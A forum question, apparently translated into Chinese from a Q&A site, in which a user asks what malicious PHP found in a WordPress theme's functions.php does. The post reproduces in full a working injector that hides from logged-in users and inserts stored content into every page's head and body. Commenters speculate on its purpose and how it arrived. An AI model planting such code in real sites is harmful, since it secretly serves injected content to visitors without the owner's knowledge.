【发布时间】:2013-08-15 20:49:15
【问题描述】:
我在客户端functions.php 文件中发现了一些恶意代码。这是在做什么,我不知道。我对 PHP 没问题,但肯定不是专家。有什么想法吗?
if (!function_exists("b_call")) {
function b_call() {
if (!ob_get_level()) ob_start("b_goes");
}
function b_goes($p) {
if (!defined('wp_m1')) {
if (isset($_COOKIE['wordpress_test_cookie'])
|| isset($_COOKIE['wp-settings-1'])
|| isset($_COOKIE['wp-settings-time-1'])
|| (function_exists('is_user_logged_in') && is_user_logged_in())
|| (!$m = get_option('_content1'))
) {
return $p;
}
list($m, $n) = @unserialize(trim(strrev($m)));
define('wp_m1', $m);
define('wp_n1', $n);
}
if (!stripos($p, wp_n1)) $p = preg_replace("~<body[^>]*>~i", "$0\n".wp_n1, $p, 1);
if (!stripos($p, wp_m1)) $p = preg_replace("~</head>~", wp_m1."\n</head>", $p, 1);
if (!stripos($p, wp_n1)) $p = preg_replace("~</div>~", "</div>\n".wp_n1, $p, 1);
if (!stripos($p, wp_m1)) $p = preg_replace("~</div>~", wp_m1."\n</div>", $p, 1);
return $p;
}
function b_end() {
@ob_end_flush();
}
if (ob_get_level()) ob_end_clean();
add_action("init", "b_call");
add_action("wp_head", "b_call");
add_action("get_sidebar", "b_call");
add_action("wp_footer", "b_call");
add_action("shutdown", "b_end");
}
【问题讨论】:
-
看起来像是在插入
_content1中定义的代码,看起来像是某种样式注入。_content1中有什么内容? -
它的作用远比它如何到达那里以及你将如何阻止它再次发生更重要。